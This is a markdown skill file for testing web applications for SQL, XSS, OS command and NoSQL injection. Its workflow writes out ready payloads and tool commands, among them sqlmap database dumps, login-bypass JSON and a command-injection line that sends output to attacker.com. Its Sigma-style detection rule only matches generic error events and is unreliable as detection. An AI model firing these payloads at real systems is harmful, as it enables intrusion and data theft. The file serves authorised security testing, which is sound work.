<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: detecting-injection-vulnerabilities
description: >-
  Detect and exploit injection vulnerabilities including SQL injection,
  cross-site scripting (XSS), OS command injection, LDAP injection, and
  NoSQL injection across all application input surfaces.
domain: cybersecurity
subdomain: application-security
tags:
  - injection
  - sqli
  - xss
  - command-injection
  - nosql-injection
  - owasp-a03
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1059"]
  owasp-top10: ["A03"]
  tools: ["sqlmap", "burp-suite", "dalfox", "commix", "nuclei"]
---

# Detecting Injection Vulnerabilities

## Overview

Injection vulnerabilities occur when untrusted data is sent to an
interpreter as part of a command or query. Testing covers SQL injection,
cross-site scripting, command injection, LDAP injection, and NoSQL injection.

## Prerequisites

- Tools: ["sqlmap", "burp-suite", "dalfox", "commix", "nuclei"]
- Authorized testing engagement with written scope
- Target application access and credentials

## Workflow

### Step 1: SQL Injection Testing

```bash
# sqlmap automated scan
sqlmap -u "https://target.com/page?id=1" --batch --risk=3 --level=5 --dbs

# sqlmap with POST data
sqlmap -u "https://target.com/search" --data="query=test" --batch --dbs

# sqlmap with authentication
sqlmap -u "https://target.com/api/data?id=1" \
  --cookie="session=TOKEN" --batch --dump

# Manual detection payloads
curl -s "https://target.com/page?id=1' OR 1=1--"
curl -s "https://target.com/page?id=1 UNION SELECT null,null,null--"

# Time-based blind SQLi
curl -s "https://target.com/page?id=1; WAITFOR DELAY '0:0:5'--"
```

### Step 2: Cross-Site Scripting (XSS)

```bash
# Dalfox automated XSS scan
dalfox url "https://target.com/search?q=test" --blind https://your-callback.xss.ht

# Reflected XSS detection
curl -s "https://target.com/search?q=<script>alert(1)</script>" | \
  grep -c "<script>alert(1)</script>"

# DOM XSS source identification
curl -s https://target.com | grep -oE \
  "location\.hash|document\.URL|window\.name|document\.referrer"

# Semgrep XSS sink analysis
semgrep --config=p/xss src/
```

### Step 3: Command Injection

```bash
# Commix automated testing
commix --url="https://target.com/ping?host=127.0.0.1" --batch

# Manual command injection payloads
curl -s "https://target.com/ping?host=127.0.0.1;id"
curl -s "https://target.com/ping?host=127.0.0.1|whoami"
curl -s "https://target.com/ping?host=\$(id)"

# Blind command injection (OOB)
curl -s "https://target.com/ping?host=127.0.0.1;curl+http://attacker.com/\$(whoami)"
```

### Step 4: NoSQL Injection

```bash
# MongoDB injection via JSON
curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$gt":""},"password":{"$gt":""}}'

# MongoDB regex extraction
curl -s -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$regex":"^a"}}'
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| SQLi payloads | WAF/IDS | SQL keywords in request parameters |
| XSS payloads | WAF | Script tags or event handlers in input |
| Command injection | WAF/auditd | Shell metacharacters in requests |
| NoSQL operators | App logs | MongoDB operators in JSON body |

```yaml
title: Injection Vulnerabilities Detection
id: 68c9ad8c-05a5-44fc-9efc-9315a29efac3
status: experimental
description: Detects suspicious activity related to detecting injection vulnerabilities techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1190
  - attack.t1059
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] All relevant attack vectors tested
- [ ] Findings documented with severity and evidence
- [ ] Detection artifacts identified
- [ ] Remediation recommendations provided

## References

- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [MITRE ATT&CK](https://attack.mitre.org/)
